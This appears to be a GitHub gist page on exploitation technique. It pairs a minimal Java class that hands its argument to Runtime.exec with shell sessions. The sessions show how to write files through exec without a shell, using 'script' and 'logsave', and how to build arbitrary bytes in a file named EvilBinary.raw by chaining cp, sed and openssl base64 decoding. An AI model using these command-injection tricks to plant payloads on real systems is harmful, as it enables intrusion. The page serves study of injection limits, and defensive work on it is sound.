Created
August 13, 2022 07:47
-
-
Save sghctoma/6b786ba1c441b9d41096777906e2d33b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Simple { | |
public static void main(String args[]) throws Exception { | |
Runtime.getRuntime().exec(args[0]); | |
} | |
} | |
--- | |
$ java Simple 'script -q /tmp/test.txt echo alma' | |
$ cat /tmp/test.txt | |
alma | |
--- | |
$ java Simple 'logsave /tmp/test2.txt echo alma' | |
$ cat /tmp/test2.txt | |
Log of echo alma | |
Sat Aug 13 09:18:21 2022 | |
alma | |
Sat Aug 13 09:18:21 2022 | |
---------------- | |
--- | |
$ echo -n '\x13\x37' | b64encode -r - | |
Ezc= | |
$ java Simple 'cp /etc/shells /tmp/xxxx' | |
$ java Simple 'sed -i .x s/.*/xxxx/g /tmp/xxxx' | |
$ java Simple 'sed -i .x 1s/xxxx/Ezc=/g /tmp/xxxx' | |
$ java Simple 'sed -i .x s/xxxx//g /tmp/xxxx' | |
$ java Simple 'openssl base64 -A -d -in /tmp/xxxx -out /tmp/EvilBinary.raw' | |
$ hd /tmp/EvilBinary.raw | |
00000000 13 37 00 |.7.| | |
00000003 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment